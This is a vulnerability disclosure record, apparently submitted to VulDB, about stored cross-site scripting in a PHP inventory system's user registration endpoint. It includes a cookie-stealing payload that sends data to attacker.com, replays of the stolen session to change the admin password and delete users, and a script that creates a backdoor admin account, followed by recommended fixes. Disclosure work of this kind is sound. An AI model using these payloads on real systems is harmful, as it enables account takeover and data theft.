| Title | SourceCodester Inventory Management System NA Cross Site Scripting |
|---|
| Description | The user registration endpoint at POST /api/users_handler.php does not sanitize the username and full_name parameters before storing them in the database. When an administrator views the User Management page (users.php), these fields are rendered directly into the HTML without escaping, causing stored Cross-Site Scripting (XSS) to execute in the admin's browser context.
An attacker can exploit this to steal the admin's session cookie, create backdoor admin accounts, and exfiltrate all user data. I confirmed this by registering a user with a session-stealing payload, which executed when the admin viewed users.php, granting full account takeover without knowing any credentials.
Steps to Reproduce
Environment:
- Target: http://localhost/Product_Inventory/
- Attacker: Unauthenticated (no account needed)
- Victim: Admin user (admin) with valid session
Step 1: Register attacker account with malicious payload
Send the following request to create a new user with an XSS payload in the full_name field:
POST /Product_Inventory/api/users_handler.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
action=register&username=ato_demo&password=attacker123&full_name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Response:
{"success":true,"message":"User registered successfully!"}
The payload is stored in the database unsanitized.
Step 2: Admin views User Management page
When the admin visits http://localhost/Product_Inventory/users.php, the application renders the attacker's full_name field directly into the HTML table:
<td><script>fetch('http://attacker.com/steal?cookie=' document.cookie)</script></td>
<td>ato_demo</td>
The <script> tag executes in the admin's browser, sending their session cookie to the attacker's server.
Attacker receives:
GET /steal?cookie=PHPSESSID=iignkjpc8044j2u8gi647h3v22
Host: attacker.com
Step 3: Attacker uses stolen session to take over admin account
The attacker sets the stolen session cookie and accesses the admin panel:
GET /Product_Inventory/users.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=iignkjpc8044j2u8gi647h3v22
Verified actions with stolen session:
1. View admin user details:
POST /Product_Inventory/api/users_handler.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=iignkjpc8044j2u8gi647h3v22
action=get_user&id=1
Response:
{"id":1,"username":"admin","full_name":"GANESH DUTT","role":"admin"}
2. Delete any user:
POST /Product_Inventory/api/users_handler.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=iignkjpc8044j2u8gi647h3v22
action=delete_user&id=3
Response:
{"success":true,"message":"User deleted successfully!"}
3. Change admin password:
POST /Product_Inventory/api/users_handler.php HTTP/1.1
Host: localhost
Cookie: PHPSESSID=iignkjpc8044j2u8gi647h3v22
action=update_user&id=1&username=admin&full_name=GANESH+DUTT&role=admin&password=hacked123
Response:
{"success":true,"message":"User updated successfully!"}
Attacker can now log in directly with admin:hacked123.
Step 4: Persistent backdoor (optional)
The XSS payload can create a permanent backdoor admin account:
<script>
fetch('api/users_handler.php', {
method: 'POST',
body: 'action=register&username=backdoor&password=hacked&role=admin'
});
</script>
This ensures the attacker retains access even if the original payload is removed.
Impact
- Full admin account takeover — Attacker impersonates admin without credentials
- Persistent backdoor access — Create hidden admin accounts via XSS
- Complete data breach — Exfiltrate all user PII (names, usernames, roles)
- Denial of service — Delete legitimate admin accounts
- Privilege escalation chain — Combined with the role parameter vulnerability, attacker can register → inject XSS → steal admin session → full system compromise
Recommended Fix
1. Escape output in users.php:
<td><?php echo htmlspecialchars($row['full_name'], ENT_QUOTES, 'UTF-8'); ?></td>
<td><?php echo htmlspecialchars($row['username'], ENT_QUOTES, 'UTF-8'); ?></td>
2. Validate input during registration:
$full_name = htmlspecialchars($_POST['full_name'], ENT_QUOTES, 'UTF-8');
$username = preg_replace('/[^a-zA-Z0-9_]/', '', $_POST['username']);
3. Set HttpOnly flag on session cookies (defense-in-depth):
ini_set('session.cookie_httponly', 1); |
|---|
| User | Anonymous User |
|---|
| Submission | 05/31/2026 20:07 (29 days ago) |
|---|
| Moderation | 06/28/2026 20:31 (28 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 374578 [SourceCodester Inventory Management System 1.0 User Registration Endpoint /api/users_handler.php full_name cross site scripting] |
|---|
| Points | 17 |
|---|